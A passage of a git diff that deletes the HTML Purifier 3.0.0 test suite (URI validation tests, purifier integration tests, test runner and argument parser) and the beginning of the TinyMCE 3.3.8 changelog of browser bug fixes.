$uri->getSchemeObj($this->config, $this->context); - $this->assertIdentical($scheme_obj, $scheme_mock); - - $this->tearDownSchemeRegistryMock(); - } - - function test_getSchemaObj_invalidDefaultScheme() { - $this->setUpNoValidSchemes(); - $this->config->set('URI', 'DefaultScheme', 'foobar'); - - $uri = $this->createURI('hmm'); - - $this->expectError('Default scheme object "foobar" was not readable'); - $result = $uri->getSchemeObj($this->config, $this->context); - $this->assertIdentical($result, false); - - $this->tearDownSchemeRegistryMock(); - } - - function assertToString($expect_uri, $scheme, $userinfo, $host, $port, $path, $query, $fragment) { - $uri = new HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment); - $string = $uri->toString(); - $this->assertIdentical($string, $expect_uri); - } - - function test_toString_full() { - $this->assertToString( - 'http://bob@example.com:300/foo?bar=baz#fragment', - 'http', 'bob', 'example.com', 300, '/foo', 'bar=baz', 'fragment' - ); - } - - function test_toString_scheme() { - $this->assertToString( - 'http:', - 'http', null, null, null, '', null, null - ); - } - - function test_toString_authority() { - $this->assertToString( - '//bob@example.com:8080', - null, 'bob', 'example.com', 8080, '', null, null - ); - } - - function test_toString_path() { - $this->assertToString( - '/path/to', - null, null, null, null, '/path/to', null, null - ); - } - - function test_toString_query() { - $this->assertToString( - '?q=string', - null, null, null, null, '', 'q=string', null - ); - } - - function test_toString_fragment() { - $this->assertToString( - '#fragment', - null, null, null, null, '', null, 'fragment' - ); - } - - function assertValidation($uri, $expect_uri = true) { - if ($expect_uri === true) $expect_uri = $uri; - $uri = $this->createURI($uri); - $result = $uri->validate($this->config, $this->context); - if ($expect_uri === false) { - $this->assertFalse($result); - } else { - $this->assertTrue($result); - $this->assertIdentical($uri->toString(), $expect_uri); - } - } - - function test_validate_overlongPort() { - $this->assertValidation('http://example.com:65536', 'http://example.com'); - } - - function test_validate_zeroPort() { - $this->assertValidation('http://example.com:00', 'http://example.com'); - } - - function test_validate_invalidHostThatLooksLikeIPv6() { - $this->assertValidation('http://[2001:0db8:85z3:08d3:1319:8a2e:0370:7334]', 'http:'); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifierTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifierTest.php deleted file mode 100644 index 5462b67..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifierTest.php +++ /dev/null @@ -1,154 +0,0 @@ -<?php - -require_once 'HTMLPurifier.php'; - -// integration test - -class HTMLPurifierTest extends HTMLPurifier_Harness -{ - protected $purifier; - - function setUp() { - $this->purifier = new HTMLPurifier(); - } - - function assertPurification($input, $expect = null, $config = array()) { - if ($expect === null) $expect = $input; - $result = $this->purifier->purify($input, $config); - $this->assertIdentical($expect, $result); - } - - function testNull() { - $this->assertPurification("Null byte\0", "Null byte"); - } - - function testStrict() { - $config = HTMLPurifier_Config::createDefault(); - $config->set('HTML', 'Strict', true); - $this->purifier = new HTMLPurifier( $config ); // verbose syntax - - $this->assertPurification( - '<u>Illegal underline</u>', - '<span style="text-decoration:underline;">Illegal underline</span>' - ); - - $this->assertPurification( - '<blockquote>Illegal contents</blockquote>', - '<blockquote><p>Illegal contents</p></blockquote>' - ); - - } - - function testDifferentAllowedElements() { - - $this->purifier = new HTMLPurifier(array( - 'HTML.AllowedElements' => array('b', 'i', 'p', 'a'), - 'HTML.AllowedAttributes' => array('a.href', '*.id') - )); - - $this->assertPurification( - '<p>Par.</p><p>Para<a href="http://google.com/">gr</a>aph</p>Text<b>Bol<i>d</i></b>' - ); - - $this->assertPurification( - '<span>Not allowed</span><a class="mef" id="foobar">Foobar</a>', - 'Not allowed<a>Foobar</a>' // no ID!!! - ); - - } - - function testDisableURI() { - - $this->purifier = new HTMLPurifier( array('Attr.DisableURI' => true) ); - - $this->assertPurification( - '<img src="foobar"/>', - '' - ); - - } - - function test_purifyArray() { - - $this->purifier = new HTMLPurifier(); - - $this->assertIdentical( - $this->purifier->purifyArray( - array('Good', '<b>Sketchy', 'foo' => '<script>bad</script>') - ), - array('Good', '<b>Sketchy</b>', 'foo' => '') - ); - - $this->assertIsA($this->purifier->context, 'array'); - - } - - function testEnableAttrID() { - - $this->purifier = new HTMLPurifier(); - - $this->assertPurification( - '<span id="moon">foobar</span>', - '<span>foobar</span>' - ); - - $this->purifier = new HTMLPurifier(array('HTML.EnableAttrID' => true)); - $this->assertPurification('<span id="moon">foobar</span>'); - $this->assertPurification('<img id="folly" src="folly.png" alt="Omigosh!" />'); - - } - - function testScript() { - $this->purifier = new HTMLPurifier(array('HTML.Trusted' => true)); - $ideal = '<script type="text/javascript"><!--//--><![CDATA[//><!-- -alert("<This is compatible with XHTML>"); -//--><!]]></script>'; - - $this->assertPurification($ideal); - - $this->assertPurification( - '<script type="text/javascript"><![CDATA[ -alert("<This is compatible with XHTML>"); -]]></script>', - $ideal - ); - - $this->assertPurification( - '<script type="text/javascript">alert("<This is compatible with XHTML>");</script>', - $ideal - ); - - $this->assertPurification( - '<script type="text/javascript"><!-- -alert("<This is compatible with XHTML>"); -//--></script>', - $ideal - ); - - $this->assertPurification( - '<script type="text/javascript"><![CDATA[ -alert("<This is compatible with XHTML>"); -//]]></script>', - $ideal - ); - } - - function testGetInstance() { - $purifier =& HTMLPurifier::getInstance(); - $purifier2 =& HTMLPurifier::getInstance(); - $this->assertReference($purifier, $purifier2); - } - - function testMakeAbsolute() { - $this->assertPurification( - '<a href="foo.txt">Foobar</a>', - '<a href="http://example.com/bar/foo.txt">Foobar</a>', - array( - 'URI.Base' => 'http://example.com/bar/baz.php', - 'URI.MakeAbsolute' => true - ) - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/common.php b/lib/htmlpurifier-3.0.0/tests/common.php deleted file mode 100644 index 494b6ca..0000000 --- a/lib/htmlpurifier-3.0.0/tests/common.php +++ /dev/null @@ -1,105 +0,0 @@ -<?php - -if (!defined('HTMLPurifierTest')) { - echo "Invalid entry point\n"; - exit; -} - -// default settings (protect against register_globals) -$GLOBALS['HTMLPurifierTest'] = array(); -$GLOBALS['HTMLPurifierTest']['PEAR'] = false; // do PEAR tests -$GLOBALS['HTMLPurifierTest']['PH5P'] = class_exists('DOMDocument'); - -// default library settings -$simpletest_location = 'simpletest/'; // reasonable guess -$csstidy_location = false; -$versions_to_test = array(); -$phpv = 'phpv'; - -// load configuration -if (file_exists('../conf/test-settings.php')) include '../conf/test-settings.php'; -if (file_exists('../test-settings.php')) include '../test-settings.php'; - -// load SimpleTest -require_once $simpletest_location . 'unit_tester.php'; -require_once $simpletest_location . 'reporter.php'; -require_once $simpletest_location . 'mock_objects.php'; -require_once $simpletest_location . 'xml.php'; - -// load CSS Tidy -if ($csstidy_location !== false) { - require_once $csstidy_location . 'class.csstidy.php'; - require_once $csstidy_location . 'class.csstidy_print.php'; -} - -// load PEAR to include path -if ( is_string($GLOBALS['HTMLPurifierTest']['PEAR']) ) { - // if PEAR is true, there's no need to add it to the path - set_include_path($GLOBALS['HTMLPurifierTest']['PEAR'] . PATH_SEPARATOR . - get_include_path()); -} - -// after external libraries are loaded, turn on compile time errors -error_reporting(E_ALL | E_STRICT); - -// load SimpleTest addons -require_once 'HTMLPurifier/SimpleTest/Reporter.php'; -require_once 'CliTestCase.php'; -require_once 'Debugger.php'; -require_once 'generate_mock_once.func.php'; -require_once 'path2class.func.php'; -require_once 'tally_errors.func.php'; // compat - -/** - * Arguments parser, is cli and web agnostic. - * @warning - * There are some quirks about the argument format: - * - Short flags cannot be chained together - * - Any number of hyphens are allowed to lead flags - * - Flag values cannot have spaces in them - * - You must specify an equal sign, --foo=value; --foo value doesn't work - * - Only strings and booleans are accepted - * - This --flag=off will be interpreted as true, use --flag=0 instead - * @param $AC - * Arguments array to populate. This takes a simple format of 'argument' - * => default value. Depending on the type of the default value, - * arguments will be typecast accordingly. For example, if - * 'flag' => false is passed, all arguments for that will be cast to - * boolean. Do *not* pass null, as it will not be recognized. - * @param $aliases - * - */ -function htmlpurifier_parse_args(&$AC, $aliases) { - if (empty($_GET)) { - array_shift($_SERVER['argv']); - foreach ($_SERVER['argv'] as $opt) { - if (strpos($opt, "=") !== false) { - list($o, $v) = explode("=", $opt, 2); - } else { - $o = $opt; - $v = true; - } - $o = ltrim($o, '-'); - htmlpurifier_args($AC, $aliases, $o, $v); - } - } else { - foreach ($_GET as $o => $v) { - if (get_magic_quotes_gpc()) $v = stripslashes($v); - htmlpurifier_args($AC, $aliases, $o, $v); - } - } -} - -/** - * Actually performs assignment to $AC, see htmlpurifier_parse_args() - * @param $AC Arguments array to write to - * @param $aliases Aliases for options - * @param $o Argument name - * @param $v Argument value - */ -function htmlpurifier_args(&$AC, $aliases, $o, $v) { - if (isset($aliases[$o])) $o = $aliases[$o]; - if (!isset($AC[$o])) return; - if (is_string($AC[$o])) $AC[$o] = $v; - if (is_bool($AC[$o])) $AC[$o] = true; -} diff --git a/lib/htmlpurifier-3.0.0/tests/generate_mock_once.func.php b/lib/htmlpurifier-3.0.0/tests/generate_mock_once.func.php deleted file mode 100644 index 1c74340..0000000 --- a/lib/htmlpurifier-3.0.0/tests/generate_mock_once.func.php +++ /dev/null @@ -1,10 +0,0 @@ -<?php - -// since Mocks can't be called from within test files, we need to do -// a little jumping through hoops to generate them -function generate_mock_once($name) { - $mock_name = $name . 'Mock'; - if (class_exists($mock_name)) return false; - Mock::generate($name, $mock_name); -} - diff --git a/lib/htmlpurifier-3.0.0/tests/index.php b/lib/htmlpurifier-3.0.0/tests/index.php deleted file mode 100755 index 50cf798..0000000 --- a/lib/htmlpurifier-3.0.0/tests/index.php +++ /dev/null @@ -1,90 +0,0 @@ -<?php - -/** @file - * Unit tester - * - * The heart and soul of HTML Purifier's correctness; anything and everything - * is tested here! Arguments are specified like --arg=opt, allowed arguments - * are: - * - flush, whether or not to flush definition caches before running - * - standalone, whether or not to test the standalone version - * - file (f), a single file to test - * - xml, whether or not to output XML - */ - -define('HTMLPurifierTest', 1); -define('HTMLPURIFIER_SCHEMA_STRICT', true); // validate schemas - -require_once 'common.php'; - -$AC = array(); // parameters -$AC['flush'] = false; -$AC['standalone'] = false; -$AC['file'] = ''; -$AC['xml'] = false; -$aliases = array( - 'f' => 'file', -); -htmlpurifier_parse_args($AC, $aliases); - -// clean out cache if necessary -if ($AC['flush']) shell_exec('php ../maintenance/flush-definition-cache.php'); - -// initialize and load HTML Purifier -// use ?standalone to load the alterative standalone stub -if ($AC['standalone']) { - set_include_path(realpath('blanks') . PATH_SEPARATOR . get_include_path()); - require_once '../library/HTMLPurifier.standalone.php'; -} else { - require_once '../library/HTMLPurifier.auto.php'; -} -require_once 'HTMLPurifier/Harness.php'; - -// setup special DefinitionCacheFactory decorator -$factory =& HTMLPurifier_DefinitionCacheFactory::instance(); -$factory->addDecorator('Memory'); // since we deal with a lot of config objects - -// load tests -$test_files = array(); -require 'test_files.php'; // populates $test_files array -sort($test_files); // for the SELECT -$GLOBALS['HTMLPurifierTest']['Files'] = $test_files; // for the reporter -$test_file_lookup = array_flip($test_files); - -// determine test file -if ($AC['file']) { - if (!isset($test_file_lookup[$AC['file']])) { - echo "Invalid file passed\n"; - exit; - } -} - -// we can't use addTestFile because SimpleTest chokes on E_STRICT warnings -if ($AC['file']) { - - $test = new TestSuite($AC['file']); - require_once $AC['file']; - $test->addTestClass(path2class($AC['file'])); - -} else { - - $standalone = ''; - if ($AC['standalone']) $standalone = ' (standalone)'; - $test = new TestSuite('All HTML Purifier tests on PHP ' . PHP_VERSION . $standalone); - foreach ($test_files as $test_file) { - require_once $test_file; - $test->addTestClass(path2class($test_file)); - } - -} - -if ($AC['xml']) { - if (!SimpleReporter::inCli()) header('Content-Type: text/xml;charset=UTF-8'); - $reporter = new XmlReporter(); -} elseif (SimpleReporter::inCli()) { - $reporter = new TextReporter(); -} else { - $reporter = new HTMLPurifier_SimpleTest_Reporter('UTF-8', $AC); -} - -$test->run($reporter); diff --git a/lib/htmlpurifier-3.0.0/tests/multitest.php b/lib/htmlpurifier-3.0.0/tests/multitest.php deleted file mode 100644 index 69116ba..0000000 --- a/lib/htmlpurifier-3.0.0/tests/multitest.php +++ /dev/null @@ -1,79 +0,0 @@ -<?php - -/** @file - * Multiple PHP Versions test - * - * This file tests HTML Purifier in all versions of PHP. Arguments - * are specified like --arg=opt, allowed arguments are: - * - exclude-normal, excludes normal tests - * - exclude-standalone, excludes standalone tests - * - file (f), specifies a single file to test for all versions - * - xml, if specified output is XML - * - quiet (q), if specified no informative messages are enabled (please use - * this if you're outputting XML) - * - * @note - * It requires a script called phpv that takes an extra argument (the - * version number of PHP) before all other arguments. Contact me if you'd - * like to set up a similar script. The name of the script can be - * edited with $phpv - * - * @note - * Also, configuration must be set up with a variable called - * $versions_to_test specifying version numbers to pass to $phpv - */ - -define('HTMLPurifierTest', 1); -require_once 'common.php'; - -if (!SimpleReporter::inCli()) { - echo 'Multitest only available from command line'; - exit; -} - -$AC = array(); // parameters -$AC['exclude-normal'] = false; -$AC['exclude-standalone'] = false; -$AC['file'] = ''; -$AC['xml'] = false; -$AC['quiet'] = false; -$aliases = array( - 'f' => 'file', - 'q' => 'quiet', -); -htmlpurifier_parse_args($AC, $aliases); - -shell_exec("php ../maintenance/merge-library.php"); -shell_exec('php ../maintenance/flush-definition-cache.php'); - -$test = new TestSuite('HTML Purifier Multiple Versions Test'); -$file = ''; -if ($AC['file']) { - $test_files = array(); - require 'test_files.php'; - $test_files_lookup = array_flip($test_files); - if (isset($test_files_lookup[$AC['file']])) { - $file = '--file=' . $AC['file']; - } else { - echo "Invalid file passed\n"; - exit; - } -} -foreach ($versions_to_test as $version) { - $flush = ''; - if (is_array($version)) { - $version = $version[0]; - $flush = '--flush'; - } - if (!$AC['exclude-normal']) $test->addTestCase(new CliTestCase("$phpv $version index.php --xml $flush $file", $AC['quiet'])); - if (!$AC['exclude-standalone']) $test->addTestCase(new CliTestCase("$phpv $version index.php --xml --standalone $file", $AC['quiet'])); -} - -if ($AC['xml']) { - $reporter = new XmlReporter(); -} else { - $reporter = new TextReporter(); -} -$test->run($reporter); - -shell_exec('php ../maintenance/flush-definition-cache.php'); diff --git a/lib/htmlpurifier-3.0.0/tests/path2class.func.php b/lib/htmlpurifier-3.0.0/tests/path2class.func.php deleted file mode 100644 index 4680e42..0000000 --- a/lib/htmlpurifier-3.0.0/tests/path2class.func.php +++ /dev/null @@ -1,13 +0,0 @@ -<?php - -function path2class($path) { - $temp = $path; - $temp = str_replace('./', '', $temp); // remove leading './' - $temp = str_replace('.\\', '', $temp); // remove leading '.\' - $temp = str_replace('\\', '_', $temp); // normalize \ to _ - $temp = str_replace('/', '_', $temp); // normalize / to _ - while(strpos($temp, '__') !== false) $temp = str_replace('__', '_', $temp); - $temp = str_replace('.php', '', $temp); - return $temp; -} - diff --git a/lib/htmlpurifier-3.0.0/tests/tally_errors.func.php b/lib/htmlpurifier-3.0.0/tests/tally_errors.func.php deleted file mode 100644 index 562d69b..0000000 --- a/lib/htmlpurifier-3.0.0/tests/tally_errors.func.php +++ /dev/null @@ -1,17 +0,0 @@ -<?php - -function tally_errors($test) { - // BRITTLE: relies on private code to work - $context = &SimpleTest::getContext(); - $queue = &$context->get('SimpleErrorQueue'); - if (!isset($queue->_expectation_queue)) return; // fut-compat - foreach ($queue->_expectation_queue as $e) { - if (count($e) != 2) return; // fut-compat - if (!isset($e[0])) return; // fut-compat - $e[0]->_dumper = new SimpleDumper(); - $test->fail('Error expectation not fulfilled: ' . - $e[0]->testMessage(null)); - } - $queue->_expectation_queue = array(); -} - diff --git a/lib/htmlpurifier-3.0.0/tests/test_files.php b/lib/htmlpurifier-3.0.0/tests/test_files.php deleted file mode 100644 index dcc0c29..0000000 --- a/lib/htmlpurifier-3.0.0/tests/test_files.php +++ /dev/null @@ -1,129 +0,0 @@ -<?php - -if (!defined('HTMLPurifierTest')) exit; - -// define callable test files (sorted alphabetically) - -// HTML Purifier main library - -$test_files[] = 'HTMLPurifier/AttrCollectionsTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/AlphaValueTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/BackgroundTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/BorderTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/ColorTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/CompositeTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/FilterTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/FontFamilyTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/FontTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/LengthTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/ListStyleTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/MultipleTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/NumberTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/PercentageTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/TextDecorationTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSS/URITest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/CSSTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/EnumTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/ColorTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/IDTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/LengthTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/FrameTargetTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/MultiLengthTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/NmtokensTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/PixelsTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/HTML/LinkTypesTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/IntegerTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/LangTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/TextTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/URI/HostTest.php'; -$test_files[] = 'HTMLPurifier/AttrDef/URI/IPv4Test.php'; -$test_files[] = 'HTMLPurifier/AttrDef/URI/IPv6Test.php'; -$test_files[] = 'HTMLPurifier/AttrDef/URITest.php'; -$test_files[] = 'HTMLPurifier/AttrDefTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransformTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/BdoDirTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/BgColorTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/BoolToCSSTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/BorderTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/EnumToCSSTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/ImgRequiredTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/ImgSpaceTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/LangTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/LengthTest.php'; -$test_files[] = 'HTMLPurifier/AttrTransform/NameTest.php'; -$test_files[] = 'HTMLPurifier/AttrTypesTest.php'; -$test_files[] = 'HTMLPurifier/AttrValidator_ErrorsTest.php'; -$test_files[] = 'HTMLPurifier/ChildDef/ChameleonTest.php'; -$test_files[] = 'HTMLPurifier/ChildDef/CustomTest.php'; -$test_files[] = 'HTMLPurifier/ChildDef/OptionalTest.php'; -$test_files[] = 'HTMLPurifier/ChildDef/RequiredTest.php'; -$test_files[] = 'HTMLPurifier/ChildDef/StrictBlockquoteTest.php'; -$test_files[] = 'HTMLPurifier/ChildDef/TableTest.php'; -$test_files[] = 'HTMLPurifier/ConfigSchemaTest.php'; -$test_files[] = 'HTMLPurifier/ConfigTest.php'; -$test_files[] = 'HTMLPurifier/ContextTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionCacheFactoryTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionCacheTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionCache/DecoratorTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionCache/SerializerTest.php'; -$test_files[] = 'HTMLPurifier/DefinitionTest.php'; -$test_files[] = 'HTMLPurifier/DoctypeRegistryTest.php'; -$test_files[] = 'HTMLPurifier/ElementDefTest.php'; -$test_files[] = 'HTMLPurifier/ErrorCollectorTest.php'; -$test_files[] = 'HTMLPurifier/EncoderTest.php'; -$test_files[] = 'HTMLPurifier/EntityLookupTest.php'; -$test_files[] = 'HTMLPurifier/EntityParserTest.php'; -$test_files[] = 'HTMLPurifier/Filter/ExtractStyleBlocksTest.php'; -$test_files[] = 'HTMLPurifier/GeneratorTest.php'; -$test_files[] = 'HTMLPurifier/HTMLDefinitionTest.php'; -$test_files[] = 'HTMLPurifier/HTMLModuleManagerTest.php'; -$test_files[] = 'HTMLPurifier/HTMLModuleTest.php'; -$test_files[] = 'HTMLPurifier/HTMLModule/ObjectTest.php'; -$test_files[] = 'HTMLPurifier/HTMLModule/RubyTest.php'; -$test_files[] = 'HTMLPurifier/HTMLModule/ScriptingTest.php'; -$test_files[] = 'HTMLPurifier/HTMLModule/TidyTest.php'; -$test_files[] = 'HTMLPurifier/IDAccumulatorTest.php'; -$test_files[] = 'HTMLPurifier/Injector/AutoParagraphTest.php'; -$test_files[] = 'HTMLPurifier/Injector/LinkifyTest.php'; -$test_files[] = 'HTMLPurifier/Injector/PurifierLinkifyTest.php'; -$test_files[] = 'HTMLPurifier/LanguageFactoryTest.php'; -$test_files[] = 'HTMLPurifier/LanguageTest.php'; -$test_files[] = 'HTMLPurifier/Lexer/DirectLexTest.php'; -$test_files[] = 'HTMLPurifier/Lexer/DirectLex_ErrorsTest.php'; -$test_files[] = 'HTMLPurifier/LexerTest.php'; -$test_files[] = 'HTMLPurifier/PercentEncoderTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/CompositeTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/CoreTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/FixNestingTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/FixNesting_ErrorsTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/MakeWellFormedTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/RemoveForeignElementsTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/ValidateAttributesTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/ValidateAttributes_IDTest.php'; -$test_files[] = 'HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php'; -$test_files[] = 'HTMLPurifier/TagTransformTest.php'; -$test_files[] = 'HTMLPurifier/TokenFactoryTest.php'; -$test_files[] = 'HTMLPurifier/TokenTest.php'; -$test_files[] = 'HTMLPurifier/URIDefinitionTest.php'; -$test_files[] = 'HTMLPurifier/URIFilter/DisableExternalTest.php'; -$test_files[] = 'HTMLPurifier/URIFilter/DisableExternalResourcesTest.php'; -$test_files[] = 'HTMLPurifier/URIFilter/HostBlacklistTest.php'; -$test_files[] = 'HTMLPurifier/URIFilter/MakeAbsoluteTest.php'; -$test_files[] = 'HTMLPurifier/URIParserTest.php'; -$test_files[] = 'HTMLPurifier/URISchemeRegistryTest.php'; -$test_files[] = 'HTMLPurifier/URISchemeTest.php'; -$test_files[] = 'HTMLPurifier/URITest.php'; -$test_files[] = 'HTMLPurifierTest.php'; - -// ConfigDoc auxiliary library - -// ... none yet - diff --git a/tinymce-3.3.8/changelog.txt b/tinymce-3.3.8/changelog.txt deleted file mode 100644 index 41d4a1f..0000000 --- a/tinymce-3.3.8/changelog.txt +++ /dev/null @@ -1,1084 +0,0 @@ -Version 3.3.8 (2010-06-30) - Fixed bug where WebKit would not move the caret to a correct position after a paste operation. - Fixed bug where WebKit would produce a div wrapper element when pasting some contents. - Fixed bug where the visual chars and nonbreaking plugin wouldn't show nbsp elements correctly. - Fixed bug where the format states would be enabled even after the format was removed. - Fixed bug where the delete key would move the caret to an incorrect position. - Fixed bug where it wasn't possible to toggle of the current font size/family/style by clicking the title item. - Fixed bug where the abbr element wouldn't get serialized correctly on IE6. - Fixed so that the examples checks if they are executed from the local file system since that might not work properly. -Version 3.3.7 (2010-06-10) - Fixed bug where context menu would produce an error on IE if you right clicked twice and left clicked once. - Fixed bug where resizing of the window on WebKit browsers in fullscreen mode wouldn't position the statusbar correctly. - Fixed bug where IE would produce an error if the editor was empty and you where undoing to that initial level. - Fixed bug where setting the table background on gecko would produce \" entities inside the url style property. - Fixed bug where the button states wouldn't be updated correctly on IE if you placed the caret inside the new element. - Fixed bug where undo levels wasn't properly added after applying styles or font sizes. - Fixed bug where IE would throw an error if you used "select all" on empty elements and applied formatting to that. - Fixed bug where IE could select one extra character when you did a bookmark call on a caret location. - Fixed bug where IE could produce a script error on delete since it would sometimes produce an invalid DOM. - Fixed bug where IE would return the wrong start element if the whole element was selected. - Fixed bug where formatting states wasn't updated on IE if you pressed enter at the end of a block with formatting. - Fixed bug where submenus for the context menu wasn't removed correctly when the editor was destroyed. - Fixed bug where Gecko could select the wrong element after applying format to multiple elements. - Fixed bug where Gecko would delete parts of the previous element if the selection range was a element selection. - Fixed bug where Gecko would not merge paragraph elements correctly if they contained br elements. - Fixed bug where the cleanup button could produce span artifacts if you pressed it twice in a row. - Fixed bug where the fullpage plugin header/footer would be have it's header reseted to it's initial state on undo. - Fixed bug where an empty paragraph would be collapsed if you performed a cleanup while having the caret inside it. - Fixed a few memory leaks on IE especially with drop menus in listboxes and the spellchecker. - Fixed so formats applied to the current caret gets merged to reduce the number of output elements. - Added the latest version of Sizzle for the CSS selector logic to fix a compatibility issue with prototype. -Version 3.3.6 (2010-05-20) - Fixed bug where a editor.focus call could produce errors on IE in very specific scenarios. - Fixed bug where Gecko would produce an error if you unformatted text inside an empty element. - Fixed bug where IE would produce an error if the caret was placed before a table and you used the align buttons. - Fixed bug where the font size drop down didn't display the a preview correctly. - Fixed bug where the paste plugin wouldn't include all contents some times on WebKit browsers. - Fixed bug where the plain text mode toggle wouldn't work properly on WebKit. - Fixed bug where the editors statusbar would become invisible when you resized the window in fullscreen mode. -Version 3.3.5.1 (2010-05-07) - Fixed a critical bug with the fullscreen plugin. Produced error messages when the state was toggled on/off. -Version 3.3.5 (2010-05-06) - Added new merge_with_parents option to formats, enables the control of removal of elements with similar parents. - Fixed so the default behavior for applying classes isn't a toggle state but the old behavior from before the 3.3 release. - Fixed bug where selecting contents using double click on Gecko would produce errors when using removing format. - Fixed bug where the IE DOM could get messed up when non valid contents was pasted into the editor. - Fixed bug where merging selected table cells using the context menu didn't work as expected. - Fixed bug where some nestled formatting would be applied incorrectly. - Fixed bug with enter in list items when using the force_br_newlines mode on WebKit patch contributed by Ryan Koopmans. - Fixed bug where undo/redo could produce js errors on some specific operations. - Fixed bug where the theme_advanced_font_sizes didn't work as before 3.3 when complex settings where used. - Fixed bug where the table plugin would copy cell/row id attributes when making new rows/cells. -Version 3.3.4 (2010-04-27) - Fixed bug where fullscreen plugin would add two editor instances to EditorManager collection. - Fixed bug where it was difficult to enter text on non western languages such as Japanese on IE. - Fixed bug where removing contents from nodes could result in an exception when using undo/redo. - Fixed bug with selection of images inside layers or other resizable containers on IE. - Fixed so editors isn't initialized on iPhone/iPad devices since they don't have caret support. -Version 3.3.3 (2010-04-19) - Added new script_loaded callback function setting for the jQuery plugin. - Added various fixes and new rpc methods for the spellchecker plugin. Patch contributed by Michael Peters. - Removed some unnecessary inline style information from some of the dialogs. - Fixed some issues with the chaining for the TinyMCE jQuery plugin. - Fixed so any extra arguments passed to patched jQuery functions gets passed through. Patch contributed by Lee Henson. - Fixed so spellchecking/contextmenu can be toggled on/off if the browser has native spellchecker support. - Fixed bug where some texts in the new paste plugin wasn't placed in language pack. - Fixed bug where IE would produce an incorrect information message when cutting. - Fixed bug where removing items using the xhtmlxtras plugin wouldn't work correctly. - Fixed bug where setting table background images would add extra quotes on Gecko. - Fixed bug where shortcut for bold/italic/underline wouldn't work properly on WebKit. - Fixed bug where IE would produce an error message if only contents was an image tag and bold was used. - Fixed bug where the caret would move if alignment was applied to empty block elements. - Fixed bug where some shortcut key commands wouldn't apply formatting correctly. -Version 3.3.2 (2010-03-25) - Fixed bug where it was possible to scale the editor iframe smaller than the editor UI. - Fixed bug where some of the resizing option didn't work with the new live resize. - Fixed bug where the format listbox didn't show nestled formats correctly. - Fixed bug where the native listboxes didn't work correctly. - Fixed bug where font size selection in using the legacyoutput plugin would produce errors. - Fixed so block and blockquote formats remove their matching element regardless of it's attributes. -Version 3.3.1 (2010-03-18) - Added new live resize feature, the editor contents is now visible while resizing. - Fixed bug where some valid_element patterns would produce an unknown property error. - Fixed bug where it wasn't possible to toggle off blockquotes. - Fixed bug where an undo level wasn't produced when applying formatting using the styles dropdown. - Fixed bug where IE 6/7 wouldn't perform caret formatting due to a focus/event bug in IE. - Fixed bug where undo/redo wasn't restoring the previous selection correctly. - Fixed 